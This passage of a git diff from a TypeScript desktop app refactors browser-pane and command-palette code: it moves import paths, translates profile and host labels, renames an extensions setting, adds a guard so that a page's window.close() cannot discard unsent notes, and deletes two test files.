+++ b/src/renderer/src/components/browser-pane/assemble-chrome/browser-toolbar-profile-sub.tsx
@@ -11,6 +11,7 @@ import {
 import { BrowserCookieImportDisclosure } from '@/components/BrowserCookieImportDisclosure'
 import { BrowserCookieImportMachineNotice } from '@/components/BrowserCookieImportMachineNotice'
 import { useTranslate } from '@/i18n/use-translate'
+import { translateBrowserSessionProfileLabel } from '@/lib/browser-session-profile-label'
 import { BROWSER_FAMILY_LABELS } from '../../../../../shared/browser/browser-family-labels'
 import type { BrowserSessionProfile } from '../../../../../shared/browser-workspace-types'
 
@@ -63,8 +64,7 @@ export function BrowserToolbarProfileSub({
         <UserRound className="mr-2 size-3.5" />
         {t('browser.toolbar.profile', 'Profile')}
         <span className="ml-auto truncate pl-2 text-xs text-muted-foreground">
-          {currentProfile?.label ??
-            t('auto.components.browser.pane.BrowserToolbarMenu.ed8f54509d', 'Default')}
+          {translateBrowserSessionProfileLabel(currentProfile?.label, effectiveProfileId)}
         </span>
       </DropdownMenuSubTrigger>
       <DropdownMenuPortal>
@@ -79,7 +79,9 @@ export function BrowserToolbarProfileSub({
                 <Check
                   className={`mr-2 size-3.5 shrink-0 ${isSelectedProfile ? 'opacity-100' : 'opacity-0'}`}
                 />
-                <span className="truncate">{profile.label}</span>
+                <span className="truncate">
+                  {translateBrowserSessionProfileLabel(profile.label, profile.id)}
+                </span>
                 {profile.source?.browserFamily && (
                   <span className="ml-auto pl-2 text-2xs text-muted-foreground">
                     {BROWSER_FAMILY_LABELS[profile.source.browserFamily] ??
diff --git a/src/renderer/src/components/browser-pane/assemble-chrome/browser-workspace-pane.retention-props.test.tsx b/src/renderer/src/components/browser-pane/assemble-chrome/browser-workspace-pane.retention-props.test.tsx
index b612b0ad49e..f3e8196de32 100644
--- a/src/renderer/src/components/browser-pane/assemble-chrome/browser-workspace-pane.retention-props.test.tsx
+++ b/src/renderer/src/components/browser-pane/assemble-chrome/browser-workspace-pane.retention-props.test.tsx
@@ -69,8 +69,9 @@ vi.mock('./browser-page-pane', () => ({
     return <span data-browser-page-id={props.browserTab.id} />
   }
 }))
-import { hydrateBrowserDrivers } from '@/lib/pane-manager/browser-mobile-driver-state'
-import { hydrateBrowserRemoteViewerPages } from '@/lib/pane-manager/browser-remote-viewer-state'
+import { hydrateBrowserDrivers } from '@/runtime/browser/ownership/browser-mobile-driver-state'
+import '@/runtime/browser/ownership/browser-remote-viewer-state'
+import { hydrateBrowserRemoteViewerPages } from '@/runtime/browser/ownership/browser-remote-viewer-store'
 import BrowserPane from './browser-workspace-pane'
 
 const WORKSPACE_ID = 'ws-1'
diff --git a/src/renderer/src/components/browser-pane/assemble-chrome/browser-workspace-pane.tsx b/src/renderer/src/components/browser-pane/assemble-chrome/browser-workspace-pane.tsx
index 1debc6b62af..cdc6ffbea6e 100644
--- a/src/renderer/src/components/browser-pane/assemble-chrome/browser-workspace-pane.tsx
+++ b/src/renderer/src/components/browser-pane/assemble-chrome/browser-workspace-pane.tsx
@@ -11,8 +11,8 @@ import {
   IDLE_BROWSER_DRIVER,
   useBrowserDriverForPage,
   useBrowserMobileDrivenPageIds
-} from '@/lib/pane-manager/browser-mobile-driver-state'
-import { useBrowserRemotelyViewedPageIds } from '@/lib/pane-manager/browser-remote-viewer-state'
+} from '@/runtime/browser/ownership/browser-mobile-driver-state'
+import { useBrowserRemotelyViewedPageIds } from '@/runtime/browser/ownership/browser-remote-viewer-state'
 import { useContextualTour } from '@/components/contextual-tours/use-contextual-tour'
 import { getBrowserPageRuntimeEnvironmentId } from '../describe-page/browser-page-url-display'
 import type { BrowserChromeShortcutScope } from '../describe-page/browser-page-types'
diff --git a/src/renderer/src/components/browser-pane/assemble-chrome/use-browser-extension-toolbar.ts b/src/renderer/src/components/browser-pane/assemble-chrome/use-browser-extension-toolbar.ts
index 9fd76b01352..649b6af2b0d 100644
--- a/src/renderer/src/components/browser-pane/assemble-chrome/use-browser-extension-toolbar.ts
+++ b/src/renderer/src/components/browser-pane/assemble-chrome/use-browser-extension-toolbar.ts
@@ -4,7 +4,7 @@ import type { BrowserExtensionToolbarState } from '../../../../../shared/browser
 
 /**
  * The extension buttons main reports for one browser page, or null when the page's session runs
- * no extensions (route, SSH and doc-preview pages) or the experimental setting is off.
+ * no extensions (route, SSH and doc-preview pages) or extensions are turned off in Settings.
  *
  * Why refetch on `pageKey`: a page's guest registers with main a moment after mount, and a
  * navigation can reset tab-scoped badges; main only pushes "this profile changed".
@@ -14,7 +14,7 @@ export function useBrowserExtensionToolbar(
   isActive: boolean,
   pageKey: string
 ): BrowserExtensionToolbarState | null {
-  const enabled = useAppStore((s) => s.settings?.experimentalBrowserExtensions === true)
+  const enabled = useAppStore((s) => s.settings?.browserExtensionsEnabled !== false)
   const [state, setState] = useState<{
     browserPageId: string
     value: BrowserExtensionToolbarState | null
diff --git a/src/renderer/src/components/browser-pane/browser-client-page-paint-retention.ts b/src/renderer/src/components/browser-pane/browser-client-page-paint-retention.ts
index 0fac4a7fcb3..0f8adde5afb 100644
--- a/src/renderer/src/components/browser-pane/browser-client-page-paint-retention.ts
+++ b/src/renderer/src/components/browser-pane/browser-client-page-paint-retention.ts
@@ -3,7 +3,7 @@ import { isWebviewDragPassthroughActive } from './host-guest/webview-drag-passth
 import {
   isBrowserPageRemotelyViewed,
   onBrowserRemoteViewerChange
-} from '../../lib/pane-manager/browser-remote-viewer-store'
+} from '../../runtime/browser/ownership/browser-remote-viewer-store'
 import type { BrowserClientRetainedRendererPage } from './browser-client-page-retained-state'
 
 export function syncBrowserClientPagePaintRetention(page: BrowserClientRetainedRendererPage): void {
diff --git a/src/renderer/src/components/browser-pane/host-guest/browser-guest-eviction-veto.test.ts b/src/renderer/src/components/browser-pane/host-guest/browser-guest-eviction-veto.test.ts
deleted file mode 100644
index fcd36d8603f..00000000000
--- a/src/renderer/src/components/browser-pane/host-guest/browser-guest-eviction-veto.test.ts
+++ /dev/null
@@ -1,76 +0,0 @@
-import { beforeEach, describe, expect, it, vi } from 'vitest'
-import type { BrowserWorkspace } from '../../../../../shared/browser-workspace-types'
-import { browserTabsVetoGuestEviction } from './browser-guest-eviction-veto'
-import { selectBrowserGuestEvictionWorktreeIds } from './browser-guest-worktree-retention'
-import { hydrateBrowserDrivers } from '../../../lib/pane-manager/browser-mobile-driver-state'
-import { hydrateBrowserRemoteViewerPages } from '../../../lib/pane-manager/browser-remote-viewer-state'
-
-import { installBrowserPageDownloadActivityTracking } from '../navigate/browser-page-download-activity'
-
-// Eviction destroys guests, permanently ending paired-client streams; paint retention must veto it too.
-const WATCHED_PAGE = 'page-watched'
-const WATCHED_WORKTREE = 'wt-watched'
-
-function tabsFor(pageId: string): BrowserWorkspace[] {
-  return [{ id: 'tab-1', pageIds: [pageId] } as unknown as BrowserWorkspace]
-}
-
-/** Six over-budget hidden worktrees, so only the veto can spare the watched one. */
-function evictionRun(tabs: readonly BrowserWorkspace[]): string[] {
-  return selectBrowserGuestEvictionWorktreeIds({
-    orderedWorktreeIds: ['wt-a', 'wt-b', 'wt-c', 'wt-d', 'wt-e', WATCHED_WORKTREE],
-    activeWorktreeId: 'wt-active',
-    isRetained: () => true,
-    holdsLiveGuests: () => true,
-    isEvictable: (worktreeId) =>
-      worktreeId === WATCHED_WORKTREE ? !browserTabsVetoGuestEviction(tabs) : true
-  })
-}
-
-describe('browser guest eviction veto', () => {
-  beforeEach(() => {
-    hydrateBrowserDrivers([])
-    hydrateBrowserRemoteViewerPages([])
-  })
-
-  // Parking preserves downloads; eviction unregisters the guest and main cancels them as on tab close.
-  it('spares a page that is still writing a download', () => {
-    let emitDownloadRequested: (event: {
-      downloadId: string
-      browserPageId: string
-    }) => void = () => {}
-    const noop = (): void => {}
-    vi.stubGlobal('window', {
-      api: {
-        browser: {
-          onDownloadRequested: (callback: typeof emitDownloadRequested) => {
-            emitDownloadRequested = callback
-            return noop
-          },
-          onDownloadProgress: () => noop,
-          onDownloadFinished: () => noop
-        }
-      }
-    })
-    const stopDownloadTracking = installBrowserPageDownloadActivityTracking()
-    try {
-      expect(browserTabsVetoGuestEviction(tabsFor(WATCHED_PAGE))).toBe(false)
-      expect(evictionRun(tabsFor(WATCHED_PAGE))).toContain(WATCHED_WORKTREE)
-
-      emitDownloadRequested({ downloadId: 'dl-1', browserPageId: WATCHED_PAGE })
-      expect(browserTabsVetoGuestEviction(tabsFor(WATCHED_PAGE))).toBe(true)
-      expect(evictionRun(tabsFor(WATCHED_PAGE))).not.toContain(WATCHED_WORKTREE)
-    } finally {
-      stopDownloadTracking()
-      vi.unstubAllGlobals()
-    }
-  })
-
-  it('holds the veto for a viewer on a non-active page of the same tab', () => {
-    const tabs = [
-      { id: 'tab-1', activePageId: 'page-front', pageIds: ['page-front', WATCHED_PAGE] }
-    ] as unknown as BrowserWorkspace[]
-    hydrateBrowserRemoteViewerPages([WATCHED_PAGE])
-    expect(evictionRun(tabs)).not.toContain(WATCHED_WORKTREE)
-  })
-})
diff --git a/src/renderer/src/components/browser-pane/host-guest/browser-guest-paint-retention.ts b/src/renderer/src/components/browser-pane/host-guest/browser-guest-paint-retention.ts
index add09f275c1..0dc11766044 100644
--- a/src/renderer/src/components/browser-pane/host-guest/browser-guest-paint-retention.ts
+++ b/src/renderer/src/components/browser-pane/host-guest/browser-guest-paint-retention.ts
@@ -5,12 +5,12 @@ import {
   isBrowserPageMobileDriven,
   onBrowserDriverChange,
   useBrowserMobileDriverForAny
-} from '../../../lib/pane-manager/browser-mobile-driver-state'
+} from '../../../runtime/browser/ownership/browser-mobile-driver-state'
+import { useBrowserRemoteViewerForAny } from '../../../runtime/browser/ownership/browser-remote-viewer-state'
 import {
   isBrowserPageRemotelyViewed,
-  onBrowserRemoteViewerChange,
-  useBrowserRemoteViewerForAny
-} from '../../../lib/pane-manager/browser-remote-viewer-state'
+  onBrowserRemoteViewerChange
+} from '../../../runtime/browser/ownership/browser-remote-viewer-store'
 import {
   isBrowserAutomationVisible,
   onBrowserAutomationVisibilityChange,
diff --git a/src/renderer/src/components/browser-pane/host-guest/browser-page-window-close.test.ts b/src/renderer/src/components/browser-pane/host-guest/browser-page-window-close.test.ts
index 257250b024a..7f10e7912b4 100644
--- a/src/renderer/src/components/browser-pane/host-guest/browser-page-window-close.test.ts
+++ b/src/renderer/src/components/browser-pane/host-guest/browser-page-window-close.test.ts
@@ -12,9 +12,15 @@ vi.mock('@/lib/workspace/tabs/workspace-tab-commands', () => ({
 import { handleGuestWindowCloseMessage } from './browser-page-window-close'
 import { BROWSER_GUEST_WINDOW_CLOSE_CHANNEL } from '../../../../../shared/browser-guest-window-close'
 
-function seedTab(pageId: string, isPinned = false, siblingPageIds: string[] = []): void {
+function seedTab(
+  pageId: string,
+  isPinned = false,
+  siblingPageIds: string[] = [],
+  browserAnnotationsByPageId: Record<string, unknown[]> = {}
+): void {
   storeState.value = {
     closeBrowserPage: closeBrowserPageMock,
+    browserAnnotationsByPageId,
     browserTabsByWorktree: { 'wt-1': [{ id: 'ws-1' }] },
     browserPagesByWorkspace: { 'ws-1': [{ id: pageId }, ...siblingPageIds.map((id) => ({ id }))] },
     unifiedTabsByWorktree: {
@@ -40,6 +46,13 @@ describe('window.close() from a browser page', () => {
     expect(dispatchMock).not.toHaveBeenCalled()
   })
 
+  it('never discards unsent notes', () => {
+    seedTab('page-n', false, [], { 'page-n': [{ id: 'note-1' }] })
+    closeFrom('page-n', { back: false, forward: false })
+    expect(dispatchMock).not.toHaveBeenCalled()
+    expect(closeBrowserPageMock).not.toHaveBeenCalled()
+  })
+
   it('closes only the calling page when its Orca tab holds other pages', () => {
     seedTab('page-e', false, ['page-sibling'])
     closeFrom('page-e', { back: false, forward: false })
diff --git a/src/renderer/src/components/browser-pane/host-guest/browser-page-window-close.ts b/src/renderer/src/components/browser-pane/host-guest/browser-page-window-close.ts
index 452f602c2b1..5b37f60164e 100644
--- a/src/renderer/src/components/browser-pane/host-guest/browser-page-window-close.ts
+++ b/src/renderer/src/components/browser-pane/host-guest/browser-page-window-close.ts
@@ -32,7 +32,8 @@ export function handleGuestWindowCloseMessage(
   const tab = (state.unifiedTabsByWorktree[owner.worktreeId] ?? []).find(
     (candidate) => candidate.contentType === 'browser' && candidate.entityId === owner.workspaceId
   )
-  if (tab?.isPinned) {
+  // A script may not discard what the user pinned or left unsent; the page's notes are all it closes.
+  if (tab?.isPinned || (state.browserAnnotationsByPageId[pageId]?.length ?? 0) > 0) {
     return
   }
   pagesOpenedByPage.delete(pageId)
diff --git a/src/renderer/src/components/browser-pane/host-guest/use-browser-page-viewport-size-feedback.ts b/src/renderer/src/components/browser-pane/host-guest/use-browser-page-viewport-size-feedback.ts
index 994739f8939..0b74128b956 100644
--- a/src/renderer/src/components/browser-pane/host-guest/use-browser-page-viewport-size-feedback.ts
+++ b/src/renderer/src/components/browser-pane/host-guest/use-browser-page-viewport-size-feedback.ts
@@ -1,5 +1,5 @@
 import { useEffect } from 'react'
-import { getUIZoomFactor } from '@/lib/ui-zoom'
+import { getUIZoomFactor } from '@/app-shell/chrome/ui-zoom'
 import { browserPageZoomLevelToFactor } from '../../../../../shared/browser-page-zoom'
 
 export type BrowserPageViewportSize = { width: number; height: number }
diff --git a/src/renderer/src/components/browser-pane/new-tab/BrowserNewTabPage.tsx b/src/renderer/src/components/browser-pane/new-tab/BrowserNewTabPage.tsx
index 64c6e8d8715..ba86e920306 100644
--- a/src/renderer/src/components/browser-pane/new-tab/BrowserNewTabPage.tsx
+++ b/src/renderer/src/components/browser-pane/new-tab/BrowserNewTabPage.tsx
@@ -2,7 +2,7 @@ import { useMemo } from 'react'
 import { Globe } from 'lucide-react'
 import { toast } from 'sonner'
 import { useTranslate } from '@/i18n/use-translate'
-import { useAppStore } from '@/store'
+import { useAppStore } from '@/store/index'
 import { useRepoById } from '@/store/repos/use-repository-catalog'
 import { useWorktreeById } from '@/store/workspaces/selection/use-selected-worktree'
 import {
@@ -19,7 +19,7 @@ import { useBrowserNewTabLinkedItems } from './use-browser-new-tab-linked-items'
 import { useBrowserNewTabServers, type BrowserNewTabServers } from './use-browser-new-tab-servers'
 import { BrowserNewTabWorkspaceCard } from './browser-new-tab-workspace-card'
 import { BrowserImportHintButton } from '../assemble-chrome/BrowserImportHintButton'
-import { resolveWorktreeDisplayName } from '@/lib/worktree-default-display-name'
+import { resolveWorktreeDisplayName } from '@/lib/workspace/display/worktree-default-display-name'
 import { useWorktreeRuntimeTarget } from '@/runtime/rpc/targets/use-worktree-runtime-target'
 import type { RuntimeClientTarget } from '../../../../../shared/runtime-client-target'
 
diff --git a/src/renderer/src/components/browser-pane/workspace-doc/doc-preview-document-actions.test.ts b/src/renderer/src/components/browser-pane/workspace-doc/doc-preview-document-actions.test.ts
deleted file mode 100644
index bf39fa73149..00000000000
--- a/src/renderer/src/components/browser-pane/workspace-doc/doc-preview-document-actions.test.ts
+++ /dev/null
@@ -1,163 +0,0 @@
-import { beforeEach, describe, expect, it, vi } from 'vitest'
-
-const mocks = vi.hoisted(() => ({
-  /** What the per-file resolver answers: null local, a string remote, undefined unresolved. */
-  connectionIdForFile: null as string | null | undefined,
-  /** What the workspace-scoped resolver answers, which is not always the same thing. */
-  connectionIdForWorkspace: null as string | null | undefined,
-  worktreePath: '/srv/repo' as string | null,
-  /** What the worktree resolves its runtime owner to, which the grant was minted against. */
-  worktreeRuntimeOwnerId: null as string | null,
-  activeRuntimeEnvironmentId: undefined as string | undefined,
-  twin: false,
-  openFile: vi.fn(),
-  openFilePath: vi.fn().mockResolvedValue(true),
-  downloadAndOpen: vi.fn(),
-  toastError: vi.fn()
-}))
-
-vi.mock('sonner', () => ({ toast: { error: mocks.toastError } }))
-vi.mock('@/i18n/i18n', () => ({
-  translate: (_key: string, fallback: string, params?: Record<string, string>) =>
-    fallback.replace('{{value0}}', params?.value0 ?? '')
-}))
-
-vi.mock('@/lib/workspace/ownership/connection-owner-resolution', () => ({
-  getConnectionIdForFileFromState: () => mocks.connectionIdForFile
-}))
-vi.mock('@/lib/workspace/ownership/worktree-runtime-owner', () => ({
-  runtimeEnvironmentIdOrLocalUnlessTwin: () => mocks.worktreeRuntimeOwnerId
-}))
-vi.mock('@/lib/files/access/file-owner-runtime-target', () => {
-  const getRuntimeTargetForFileOwner = (
-    _state: unknown,
-    _worktreeId: string | null | undefined,
-    runtimeEnvironmentId: string | null | undefined
-  ) => {
-    const owner =
-      runtimeEnvironmentId === undefined ? mocks.worktreeRuntimeOwnerId : runtimeEnvironmentId
-    return owner
-      ? { kind: 'environment' as const, environmentId: owner }
-      : { kind: 'local' as const }
-  }
-  return {
-    FILE_OWNER_UNRESOLVED_MESSAGE: 'unresolved',
-    getRuntimeTargetForFileOwner,
-    requireRuntimeTargetForFileOwner: getRuntimeTargetForFileOwner,
-    getRuntimeTargetForWorktreeOwner: (state: unknown, worktreeId: string | null | undefined) =>
-      getRuntimeTargetForFileOwner(state, worktreeId, undefined)
-  }
-})
-vi.mock('@/lib/workspace/ownership/connection-context', () => ({
-  getConnectionId: () => mocks.connectionIdForWorkspace,
-  getConnectionIdForFile: () => mocks.connectionIdForFile
-}))
-vi.mock('@/components/terminal-pane/links/files/terminal-remote-file-download-open', () => ({
-  downloadAndOpenRemoteTerminalFile: mocks.downloadAndOpen
-}))
-vi.mock('@/store', () => ({
-  useAppStore: {
-    getState: () => ({
-      settings: {
-        activeRuntimeEnvironmentId: mocks.activeRuntimeEnvironmentId
-      },
-      getKnownWorktreeById: () =>
-        mocks.worktreePath === null ? undefined : { id: 'wt-1', path: mocks.worktreePath },
-      ...(mocks.twin ? localAndSshTwinRows('repo', 'repo::/srv/repo') : {}),
-      openFile: mocks.openFile
-    })
-  }
-}))
-import { openDocPreviewExternally } from './doc-preview-document-actions'
-import { localAndSshTwinRows } from '@/lib/workspace-twin-rows.test-fixture'
-
-const REMOTE_DOCUMENT = {
-  filePath: '/root/demo/report/index.html',
-  relativePath: 'report/index.html',
-  worktreeId: 'wt-1',
-  runtimeEnvironmentId: null,
-  externalSshTargetId: null
-}
-
-beforeEach(() => {
-  vi.clearAllMocks()
-  mocks.connectionIdForFile = null
-  mocks.connectionIdForWorkspace = null
-  mocks.worktreePath = '/srv/repo'
-  mocks.worktreeRuntimeOwnerId = null
-  mocks.activeRuntimeEnvironmentId = undefined
-  mocks.twin = false
-  mocks.openFilePath.mockResolvedValue(true)
-  vi.stubGlobal('window', { api: { shell: { openFilePath: mocks.openFilePath } } })
-})
-
-describe('openDocPreviewExternally', () => {
-  // Folder workspaces may span hosts; unresolved workspace ownership must not override a resolved file owner.
-  it('routes on the file owner when the workspace-scoped owner is unresolved', () => {
-    mocks.connectionIdForFile = 'ssh-1'
-    mocks.connectionIdForWorkspace = undefined
-
-    openDocPreviewExternally(REMOTE_DOCUMENT)
-
-    expect(mocks.openFilePath).not.toHaveBeenCalled()
-    expect(mocks.downloadAndOpen).toHaveBeenCalledWith(
-      expect.objectContaining({ connectionId: 'ssh-1' }),
-      REMOTE_DOCUMENT.filePath
-    )
-  })
-
-  // Unknown ownership must refuse: downloading could otherwise read an unrelated same-named local file.
-  it("refuses a document of a project two hosts publish instead of opening this machine's copy", () => {
-    mocks.twin = true
-
-    openDocPreviewExternally({ ...REMOTE_DOCUMENT, worktreeId: 'repo::/srv/repo' })
-
-    expect(mocks.openFilePath).not.toHaveBeenCalled()
-    expect(mocks.toastError).toHaveBeenCalled()
-  })
-
-  it('refuses instead of reading this machine when no owner resolves', () => {
-    mocks.connectionIdForFile = undefined
-    mocks.connectionIdForWorkspace = undefined
-
-    openDocPreviewExternally(REMOTE_DOCUMENT)
-
-    expect(mocks.openFilePath).not.toHaveBeenCalled()
-    expect(mocks.downloadAndOpen).not.toHaveBeenCalled()
-    expect(mocks.toastError).toHaveBeenCalledWith(expect.stringContaining('report/index.html'))
-  })
-
-  // Vary only the root so other remote-owner fields cannot mask this independent OS-open guard.
-  it('refuses a document whose workspace root is unknown even when nothing names another host', () => {
-    mocks.worktreePath = null
-
-    openDocPreviewExternally(REMOTE_DOCUMENT)
-
-    expect(mocks.openFilePath).not.toHaveBeenCalled()
-    expect(mocks.downloadAndOpen).not.toHaveBeenCalled()
-    expect(mocks.toastError).toHaveBeenCalled()
-  })
-
-  // A torn-down runtime may leave only the tab’s recorded owner.
-  it('falls back to the tab runtime owner when the worktree resolves none', () => {
-    mocks.worktreeRuntimeOwnerId = null
-    mocks.activeRuntimeEnvironmentId = 'env-9'
-
-    openDocPreviewExternally({ ...REMOTE_DOCUMENT, runtimeEnvironmentId: 'env-9' })
-
-    expect(mocks.openFilePath).not.toHaveBeenCalled()
-    expect(mocks.toastError).not.toHaveBeenCalled()
-    expect(mocks.downloadAndOpen).toHaveBeenCalled()
-  })
-
-  // Restored tabs can lack the owner used to mint their grant; consult the resolved worktree owner before choosing OS-open.
-  it('routes on the worktree runtime owner when the tab carries none', () => {
-    mocks.worktreeRuntimeOwnerId = 'env-1'
-    mocks.activeRuntimeEnvironmentId = 'env-1'
-
-    openDocPreviewExternally({ ...REMOTE_DOCUMENT, runtimeEnvironmentId: null })
-
-    expect(mocks.openFilePath).not.toHaveBeenCalled()
-    expect(mocks.downloadAndOpen).toHaveBeenCalled()
-  })
-})
diff --git a/src/renderer/src/components/cmd-j/palette-filter-options.ts b/src/renderer/src/components/cmd-j/palette-filter-options.ts
index ac85a3d17dc..a2871c955f4 100644
--- a/src/renderer/src/components/cmd-j/palette-filter-options.ts
+++ b/src/renderer/src/components/cmd-j/palette-filter-options.ts
@@ -14,6 +14,7 @@ import type { Worktree } from '../../../../shared/worktree/types'
 import { getProjectHeaderRevealTarget } from '../../../../shared/project-section-grouping'
 import type { ProjectGroupingModel } from '../../../../shared/project-section-grouping'
 import type { SidebarHostOption } from '../sidebar/worktree-list/controls/sidebar-host-options'
+import { translateHostDisplayLabel } from '../sidebar/execution-host-label'
 import {
   expandEquivalentExecutionHostIds,
   pickerExecutionHosts
@@ -33,19 +34,24 @@ function toFilterOption({
   id,
   label,
   detail,
-  count
+  count,
+  searchText
 }: {
   id: string
   label: string
   detail: string
   count: number
+  searchText?: string
 }): PaletteFilterOption {
   return {
     id,
     label,
     detail,
     count,
-    searchText: buildPaletteFilterOptionSearchText(label, detail)
+    searchText: buildPaletteFilterOptionSearchText(
+      label,
+      searchText ? `${detail} ${searchText}` : detail
+    )
   }
 }
 
@@ -149,7 +155,8 @@ export function buildPaletteFilterModel({
   const hosts = hostRows.map((host) =>
     toFilterOption({
       id: host.id,
-      label: host.label,
+      label: translateHostDisplayLabel(host),
+      searchText: host.label,
       detail: host.detail,
       count: [host.id, ...(host.aliasHostIds ?? [])].reduce(
         (count, hostId) => count + (worktreeCountByHostId.get(hostId) ?? 0),
diff --git a/src/renderer/src/components/cmd-j/palette-host-badge.ts b/src/renderer/src/components/cmd-j/palette-host-badge.ts
index 4dcce6dc5f3..f012a13f264 100644
--- a/src/renderer/src/components/cmd-j/palette-host-badge.ts
+++ b/src/renderer/src/components/cmd-j/palette-host-badge.ts
@@ -1,5 +1,6 @@
 import { LOCAL_EXECUTION_HOST_ID, type ExecutionHostId } from '../../../../shared/execution-host'
 import type { SidebarHostOption } from '../sidebar/worktree-list/controls/sidebar-host-options'
+import { translateHostDisplayLabel } from '../sidebar/execution-host-label'
 
 export type PaletteHostBadge = {
   hostId: ExecutionHostId
@@ -26,5 +27,5 @@ export function getPaletteHostBadge(
   if (!host) {
     return null
   }
-  return { hostId: host.id, label: host.label }
+  return { hostId: host.id, label: translateHostDisplayLabel(host) }
 }
diff --git a/src/renderer/src/components/cmd-j/palette-live-status.tsx b/src/renderer/src/components/cmd-j/palette-live-status.tsx
index bebe0cfe96f..bb3d6f395db 100644
--- a/src/renderer/src/components/cmd-j/palette-live-status.tsx
+++ b/src/renderer/src/components/cmd-j/palette-live-status.tsx
@@ -1,6 +1,6 @@
 import React, { createContext, useContext, useMemo } from 'react'
 import { useShallow } from 'zustand/react/shallow'
-import { useAppStore } from '@/store'
+import { useAppStore } from '@/store/index'
 import { hasAwakeStructuredChat } from '@/store/slices/agent-status/structured-chat-slept-at'
 import { AgentStateDot } from '@/components/AgentStateDot'
 import { StateIndicatorTooltip } from '@/components/StateIndicatorTooltip'
@@ -15,19 +15,14 @@ import {
   isAgentStatusFresh,
   AGENT_STATUS_STALE_AFTER_MS
 } from '../../../../shared/agent-status/contracts/agent-status-freshness'
-import {
-  getLiveAgentStatusByWorktreeId,
-  type LiveAgentWorktreeStatus
-} from '@/lib/worktree-activity-state'
-import {
-  getWorktreeStatus,
-  getWorktreeStatusLabel,
-  type WorktreeStatus
-} from '@/lib/worktree-status'
+import { getLiveAgentStatusByWorktreeId } from '@/lib/workspace/activity/worktree-activity-state'
+import type { LiveAgentWorktreeStatus } from '../../../../shared/sidebar-list/workspace-activity-facts'
+import { getWorktreeStatus, getWorktreeStatusLabel } from '@/lib/workspace/activity/worktree-status'
+import type { WorktreeStatus } from '../../../../shared/worktree-status-rollup'
 import {
   resolveRecentWorkspaceTabStatus,
   type RecentWorkspaceTabRow
-} from '@/lib/recent-workspace-tab-rows'
+} from '@/lib/workspace/search/palette/recent-workspace-tab-rows'
 import {
   resolveTerminalTabAttentionBadge,
   terminalTabHasUnreadActivity,
diff --git a/src/renderer/src/components/cmd-j/plugin-quick-actions.ts b/src/renderer/src/components/cmd-j/plugin-quick-actions.ts
index a9137f7ed83..7ae53f78be7 100644
--- a/src/renderer/src/components/cmd-j/plugin-quick-actions.ts
+++ b/src/renderer/src/components/cmd-j/plugin-quick-actions.ts
@@ -1,11 +1,11 @@
 import { Blocks, FilePlus } from 'lucide-react'
 import { isWorkspaceScopedPluginContext } from '../../../../shared/plugins/contributions/plugin-command-contribution'
 import type { ActivePluginCommand } from '@/store/plugins/catalog/plugin-contribution-catalog'
-import { executePluginCommand } from '@/lib/plugin-command-execution'
+import { executePluginCommand } from '@/lib/plugins/commands/plugin-command-execution'
 import { translate } from '@/i18n/i18n'
 import type { Translate } from '@/i18n/use-translate'
 import type { ActivePluginNewFile } from '@/store/plugins/file-creation/plugin-new-files'
-import { useAppStore } from '@/store'
+import { useAppStore } from '@/store/index'
 import { runWorkspaceAction, type CmdJQuickAction } from './quick-actions'
 import { getWorkspaceScopedActionAvailability } from './quick-action-context'
 
diff --git a/src/renderer/src/components/cmd-j/quick-action-context.ts b/src/renderer/src/components/cmd-j/quick-action-context.ts
index 62cea06a987..a69d82df00e 100644
--- a/src/renderer/src/components/cmd-j/quick-action-context.ts
+++ b/src/renderer/src/components/cmd-j/quick-action-context.ts
@@ -1,16 +1,16 @@
-import type { AppState } from '@/store/types'
 import { translate } from '@/i18n/i18n'
 import { findFirstIndexedWorktree } from '@/lib/workspace/ownership/worktree-runtime-owner-index'
-import type { Worktree } from '../../../../shared/worktree/types'
-import type { SshConnectionStatus } from '../../../../shared/ssh-types'
-import { getClientCreationActionPolicy } from '@/lib/client-creation-action-policy'
+import { getClientCreationActionPolicy } from '@/lib/workspace/creation/surface-policy/client-creation-action-policy'
 import {
   canRunNativeChatSplitTarget,
   resolveActiveNativeChatSplitTarget,
   runActiveNativeChatSplit
 } from '@/components/native-chat/pane/routing/native-chat-layout-actions'
-import type { NativeChatSplitDirection } from '@/components/native-chat/pane/routing/native-chat-pane-shortcut'
 import { selectWorktreesByRepo } from '@/store/workspaces/catalog/workspace-record-fields'
+import type { AppState } from '@/store/types'
+import type { Worktree } from '../../../../shared/worktree/types'
+import type { SshConnectionStatus } from '../../../../shared/ssh-types'
+import type { NativeChatSplitDirection } from '@/components/native-chat/pane/routing/native-chat-pane-shortcut'
 import type { TabSplitDirection } from '@/store/slices/tabs/tabs-slice-contract'
 
 export type CmdJUnavailableReason =
diff --git a/src/renderer/src/components/cmd-j/task-search-requests.ts b/src/renderer/src/components/cmd-j/task-search-requests.ts
index 46145b59e35..5f800c792dc 100644
--- a/src/renderer/src/components/cmd-j/task-search-requests.ts
+++ b/src/renderer/src/components/cmd-j/task-search-requests.ts
@@ -37,6 +37,7 @@ const RESULT_LIMIT = 12
 export type CmdJTaskSearchRequest = {
   id: string
   provider: TaskProvider
+  hostId: ExecutionHostId
   hostLabel: string
   run: () => Promise<CmdJTaskSearchResult[]>
 }
@@ -82,6 +83,7 @@ export function createCmdJTaskSearchRequests(args: {
       requests.push({
         id: `${provider}:${source.hostId}:${repo.id}`,
         provider,
+        hostId: source.hostId,
         hostLabel,
         run: async () => {
           if (signal.aborted) {
@@ -198,6 +200,7 @@ export function createCmdJTaskSearchRequests(args: {
       requests.push({
         id: requestId,
         provider,
+        hostId,
         hostLabel,
         run: async () => {
           if (signal.aborted) {
diff --git a/src/renderer/src/components/cmd-j/worktree-checks-review-index.ts b/src/renderer/src/components/cmd-j/worktree-checks-review-index.ts
index bb2fb2af3bf..84cd07fe5f8 100644
--- a/src/renderer/src/components/cmd-j/worktree-checks-review-index.ts
+++ b/src/renderer/src/components/cmd-j/worktree-checks-review-index.ts
@@ -1,4 +1,4 @@
-import { resolveWorktreeBranchLabel } from '@/lib/worktree-default-display-name'
+import { resolveWorktreeBranchLabel } from '@/lib/workspace/display/worktree-default-display-name'
 import { resolvePaletteRepoForWorktree } from '@/lib/workspace/search/palette-repo-resolution'
 import { getGitHubPRCacheKey } from '../../../../shared/github/github-cache-key'
 import { getHostedReviewCacheKey } from '@/store/slices/hosted-review/hosted-review-cache-identity'
diff --git a/src/renderer/src/components/dashboard-popout/AgentTerminalPreview.tsx b/src/renderer/src/components/dashboard-popout/AgentTerminalPreview.tsx
index f5ced3a45ee..952a64d9b1f 100644
--- a/src/renderer/src/components/dashboard-popout/AgentTerminalPreview.tsx
+++ b/src/renderer/src/components/dashboard-popout/AgentTerminalPreview.tsx
